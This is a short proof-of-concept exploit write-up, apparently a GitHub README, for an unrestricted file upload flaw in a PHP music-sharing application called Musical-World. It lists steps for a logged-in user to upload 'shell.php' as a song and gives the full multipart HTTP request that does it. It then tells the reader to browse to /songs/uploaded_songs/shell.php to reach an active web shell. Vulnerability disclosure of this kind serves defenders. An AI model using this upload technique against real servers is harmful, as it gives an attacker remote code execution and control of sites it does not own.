# Musical-World-Unrestricted-File-Upload-RCE-POC # Author: D4rkP0w4r * Note Login to client. don't need login to admin * Description Upload web shell at Uploaded_Songs # Step to Reproduct * Login to user -> TRACK -> Uploaded_Songs -> Choose File -> UPLOAD -> access /songs/uploaded_songs/shell.php # Exploit * When upload success access -> access /songs/uploaded_songs/shell.php * Niceeee web shell active =)))) # Vulnerable Code * No file checking before uploading # POC * Injection Point ------WebKitFormBoundarygzLqCnZgTbQ8S219 Content-Disposition: form-data; name="audio_file"; filename="shell.php" Content-Type: application/octet-stream ``` * Request ```c POST /Musical-World/uploaded_songs.php HTTP/1.1 Host: localhost:8080 Content-Length: 178990 Cache-Control: max-age=0 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygzLqCnZgTbQ8S219 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:8080/Musical-World/uploaded_songs.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: twk_idm_key=bj6dS7JKxSmrrC4qn7YCh; TawkConnectionTime=0; twk_uuid_5c2396fb7a79fc1bddf24b28={"uuid":"1.AGDzvMmwn3f5A4n8iqbtcoJ4SkrtEUv4HkyRWwAmEhcymLSn2cda9r5g8i0tC6qrABtV3MfZyNS2u3KKofxGfVGWMwq0CXtH2BFYzQvQJAexow7zkGAY1VR7c3n0T3gy","version":3,"domain":null,"ts":1647013460758}; PHPSESSID=4nr3uafmftp8fan7s4htdopfph Connection: close ------WebKitFormBoundarygzLqCnZgTbQ8S219 Content-Disposition: form-data; name="audio_file"; filename="shell.php" Content-Type: application/octet-stream ------WebKitFormBoundarygzLqCnZgTbQ8S219 Content-Disposition: form-data; name="song_name" hacked ------WebKitFormBoundarygzLqCnZgTbQ8S219 Content-Disposition: form-data; name="song_format" mp4 ------WebKitFormBoundarygzLqCnZgTbQ8S219 Content-Disposition: form-data; name="upload" ------WebKitFormBoundarygzLqCnZgTbQ8S219-- * POC VIDEO https://drive.google.com/file/d/1j5xDRpkYL7IeHYdUm34YX9iupvVEVa9D/view?usp=sharing